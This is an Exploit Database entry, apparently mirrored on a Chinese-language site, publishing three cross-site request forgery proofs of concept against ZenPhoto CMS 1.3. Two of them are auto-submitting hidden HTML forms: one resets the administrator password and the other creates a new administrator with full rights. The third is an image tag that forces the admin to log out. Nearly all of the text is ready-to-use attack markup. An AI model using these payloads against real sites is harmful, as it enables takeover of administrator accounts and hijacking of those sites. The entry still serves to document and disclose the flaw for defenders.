ZenPhoto CMS 1.3 – Multiple Cross-Site Request Forgery Vulnerabilities

Exploit Database
120 阅读

作者： 10n1z3d

日期： 2010-07-14
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/14359/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

<!---

Title: Zenphoto CMS 1.3 Multiple CSRF Vulnerabilities

Author: 10n1z3d <10n1z3d[at]w[dot]cn>

Date: Wed 14 Jul 2010 12:48:56 PM EEST

Vendor: http://www.zenphoto.org/

Download: http://zenphoto.googlecode.com/files/zenphoto-1.3.tar.gz

--->

-=[ CSRF PoC 1 - Change Admin Password ]=-

<html>

<head>

<title>Zenphoto CMS 1.3 Multiple CSRF Vulnerabilities - Change Admin Password</title>

</head>

<body onload="document.csrf.submit();">

<form name="csrf" action="http://[domain]/[path]/zp-core/admin-users.php?action=saveoptions" method="post">

<input type="hidden" name="0-admin_name" value="root" />

<input type="hidden" name="0-admin_email" value="root@root.com" />

<input type="hidden" name="0-adminpass" value="rootroot" />

<input type="hidden" name="0-adminpass_2" value="rootroot" />

<input type="hidden" name="saveadminoptions" value="yes" />

<input type="hidden" name="alter_enabled" value="1" />

<input type="hidden" name="show-admin" value="1" />

<input type="hidden" name="0-adminuser" value="admin" />

<input type="hidden" name="0-confirmed" value="2" />

<input type="hidden" name="0-ADMIN_RIGHTS" value="65536" />

<input type="hidden" name="0-OPTIONS_RIGHTS" value="8192" />

<input type="hidden" name="0-TAGS_RIGHTS" value="4096" />

<input type="hidden" name="0-ZENPAGE_RIGHTS" value="2049" />

<input type="hidden" name="0-THEMES_RIGHTS" value="1024" />

<input type="hidden" name="0-MANAGE_ALL_ALBUM_RIGHTS" value="512" />

<input type="hidden" name="0-ALBUM_RIGHTS" value="256" />

<input type="hidden" name="0-COMMENT_RIGHTS" value="64" />

<input type="hidden" name="0-POST_COMMENT_RIGHTS" value="32" />

<input type="hidden" name="0-UPLOAD_RIGHTS" value="16" />

<input type="hidden" name="0-VIEW_ALL_RIGHTS" value="8" />

<input type="hidden" name="0-OVERVIEW_RIGHTS" value="4" />

<input type="hidden" name="show-" value="16" />

<input type="hidden" name="totaladmins" value="1" />

</form>

</body>

</html>

-=[ CSRF PoC 2 - Create Admin User ]=-

<html>

<head>

<title>Zenphoto CMS 1.3 Multiple CSRF Vulnerabilities - Create Admin User</title>

</head>

<body onload="document.csrf.submit();">

<form name="csrf" action="http://[domain]/[path]/zp-core/admin-users.php?action=saveoptions" method="post">

<input type="hidden" name="1-adminuser" value="root" />

<input type="hidden" name="1-adminpass" value="rootroot" />

<input type="hidden" name="1-adminpass_2" value="rootroot" />

<input type="hidden" name="1-admin_name" value="root" />

<input type="hidden" name="1-admin_email" value="root@root.com" />

<input type="hidden" name="saveadminoptions" value="yes" />

<input type="hidden" name="alter_enabled" value="1" />

<input type="hidden" name="show-admin" value="1" />

<input type="hidden" name="1-ADMIN_RIGHTS" value="65536" />

<input type="hidden" name="1-OPTIONS_RIGHTS" value="8192" />

<input type="hidden" name="1-TAGS_RIGHTS" value="4096" />

<input type="hidden" name="1-ZENPAGE_RIGHTS" value="2049" />

<input type="hidden" name="1-THEMES_RIGHTS" value="1024" />

<input type="hidden" name="1-MANAGE_ALL_ALBUM_RIGHTS" value="512" />

<input type="hidden" name="1-ALBUM_RIGHTS" value="256" />

<input type="hidden" name="1-COMMENT_RIGHTS" value="64" />

<input type="hidden" name="1-POST_COMMENT_RIGHTS" value="32" />

<input type="hidden" name="1-UPLOAD_RIGHTS" value="16" />

<input type="hidden" name="1-VIEW_ALL_RIGHTS" value="8" />

<input type="hidden" name="1-OVERVIEW_RIGHTS" value="4" />

<input type="hidden" name="show-" value="16" />

<input type="hidden" name="1-newuser" value="1" />

<input type="hidden" name="1-confirmed" value="2" />

<input type="hidden" name="totaladmins" value="2" />

</form>

</body>

</html>

-=[ CSRF PoC 3 - Logout The Administrator ]=-

<img src="http://[domain]/[path]/zp-core/admin.php?logout=0" alt="Do you see this?" />

<!---

http://www.evilzone.org/

irc.evilzone.org(6697 / 9999)

--->